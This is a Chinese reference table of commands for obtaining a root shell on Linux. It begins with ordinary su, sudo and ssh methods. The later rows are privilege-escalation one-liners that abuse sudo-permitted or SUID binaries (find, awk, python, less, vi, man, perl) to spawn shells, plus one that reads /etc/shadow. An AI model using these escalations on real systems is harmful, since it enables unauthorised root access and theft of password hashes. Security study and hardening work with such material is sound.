命令 |
实操 |
前提条件 |
作用说明 |
补充说明 |
su |
su |
拥有root口令 |
切换到 root 用户(继承当前环境) |
|
|
su -, -l, --login |
拥有root口令 |
切换到 root 用户(使用root环境变量) |
|
sudo |
sudo -s |
当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
sudo bash |
当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
sudo -i |
当前用户在 sudoers 列表,拥有bash等默认shell的可执行权限 |
登录式 root shell访问(使用root环境变量) |
|
|
sudo su |
当前用户在 sudoers 列表,拥有su命令的可执行权限 |
切换到 root 用户(继承当前环境) |
|
|
sudo su - |
当前用户在 sudoers 列表,拥有su命令的可执行权限 |
切换到 root 用户(使用root环境变量) |
|
ssh |
ssh root@localhost |
拥有root口令 |
登录式 root shell访问(使用root环境变量) |
|
|
ssh -i /path/to/root_key root@host |
拥有公钥文件 |
登录式 root shell访问(使用root环境变量) |
|
find |
sudo find . -exec /bin/sh \\; -quit |
当前用户在 sudoers 列表,拥有find命令的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
find . -exec /bin/sh \\; -quit |
find被授权SUID或者GUID |
非登录式 root shell访问(保留原环境变量) 仍然是普通用户权限 |
1、find确实会将root权限传递给给-exec下的命令 2、但是,shell命令可能并不吃这一套 |
|
find . -exec cat /etc/shadow \\; -quit |
find被授权SUID或者GUID |
查看/etc/shadow文件(成功) |
|
awk |
sudo awk \'BEGIN {system(\"/bin/sh\")}\' |
当前用户在 sudoers 列表,拥有awk命令的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
awk \'BEGIN {system(\"/bin/sh\")}\' |
awk被授权SUID或者GUID |
非登录式 root shell访问(保留原环境变量) |
|
python |
sudo python -c \'import os; os.setuid(0); os.system(\"/bin/sh\")\' |
当前用户在 sudoers 列表,拥有python命令的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
python -c \'import os; os.setuid(0); os.system(\"/bin/sh\")\' |
python被授权SUID或者GUID |
非登录式 root shell访问(保留原环境变量) |
|
less/more |
sudo less /etc/shadow → v → :!/bin/sh |
当前用户在 sudoers 列表,拥有less命令的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
less /etc/shadow → v → :!/bin/sh |
less被授权SUID或者GUID |
非登录式 root shell访问(保留原环境变量) |
|
vim/vi |
sudo vi -c \':!/bin/bash\' |
当前用户在 sudoers 列表,拥有vim/vi命令的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
vi -c \':!/bin/bash\' |
vim/vi被授权SUID或者GUID |
非登录式 root shell访问(保留原环境变量) |
|
man |
sudo man passwd → !/bin/sh |
当前用户在 sudoers 列表,拥有man命令的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
man passwd → !/bin/sh |
man被授权SUID或者GUID |
非登录式 root shell访问(保留原环境变量) |
|
perl |
sudo perl -e \'system(\"/bin/bash\")\' |
当前用户在 sudoers 列表,拥有perl命令的可执行权限 |
非登录式 root shell访问(保留原环境变量) |
|
|
perl -e \'system(\"/bin/bash\")\' |
perl被授权SUID或者GUID |
非登录式 root shell访问(保留原环境变量) |
|